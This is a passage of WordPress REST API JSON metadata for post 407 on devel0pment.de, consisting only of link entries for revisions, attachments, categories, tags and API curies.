7"}],"version-history":[{"count":6,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/407\/revisions"}],"predecessor-version":[{"id":450,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/407\/revisions\/450"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=407"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=407"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=407"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}